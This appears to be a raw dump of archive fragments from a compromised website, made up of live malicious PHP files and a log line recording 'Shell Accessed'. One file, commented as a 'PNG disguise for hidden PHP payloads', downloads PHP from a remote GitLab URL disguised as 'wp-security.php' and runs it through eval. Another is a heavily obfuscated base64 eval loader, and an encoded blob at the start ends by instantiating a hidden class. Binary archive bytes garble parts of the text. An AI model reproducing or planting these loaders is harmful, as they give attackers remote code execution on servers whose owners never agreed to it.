	lkR2zZI9mfBNqjzPwn/VCTk62Tsb0nN56jB74nGO9xC/zwzhTbtCkHQofOYVaTAns
	ZlDM1vQL1nu7LFnEYpVqQIGx3iexSN9y
	bDb7Mf4IpMnfyoU6jSkYSaXV5x8a/KTMWk6Ds3hnMI
	QR3kq8L/Emyt//3qDDdBVwFGBiima8jd+WI8HuwrUcm7ptjHrPJ0hqecruBp
	YkFRHjDBsG/XdW0sgRkgzLIiVWaguu4xnZayXVbw9w8xTU0bndv11lq8akDJ
	kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR
	ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP
	JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ
	jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x
	V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M
	EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B
	SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a
	J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo
	b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO
	5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv
	UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien
	O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV
	6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn
	AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm
	Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU
	4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG
	FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4
	1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm
	WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1
	kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ
	W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY
	+kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw
	y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R
	2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky
	mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe
	QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j
	fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR
	k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J
	kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK
	H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH
	TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ
	P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D
	tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs
	oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX
	YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf
	K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT
	vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR
	p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM
	0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj
	ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R
	QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd
	IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb
	LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d
	SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh
	LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj
	IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv
	SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E
	tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF
	HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw
	JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf
	0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV
	17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va
	ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw
	Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH
	+nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz
	zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX
	p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO
	6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q
	sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten
	OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+
	fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8
	TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy
	Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V
	DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth
	Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn
	Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A
	NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf
	vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4
	6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV
	Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo
	md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG
	EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l
	dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA
	sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG
	Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4
	to3nPs1CFw74FSzShaD+W5aWN9oiZeB
	pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg
	qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD
	oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
	GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
	6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
	6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
	ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
	FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
	Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
	giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
	Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
	sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
	Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
	7nip56POvqvOvv';
	public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
	public $_worker;
}

new Div();
?>PKPn\��b��samurai_activity.lognu�[���[2026-03-13 08:53:37] IP: 57.141.2.61 | Action: Shell Accessed | Target: 57.141.2.61 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
PKPn\�|b��	fklxj.phpnu�[���<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
PKPn\�*I�X�X�	rf5em.phpnu�[���<?php /*  Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();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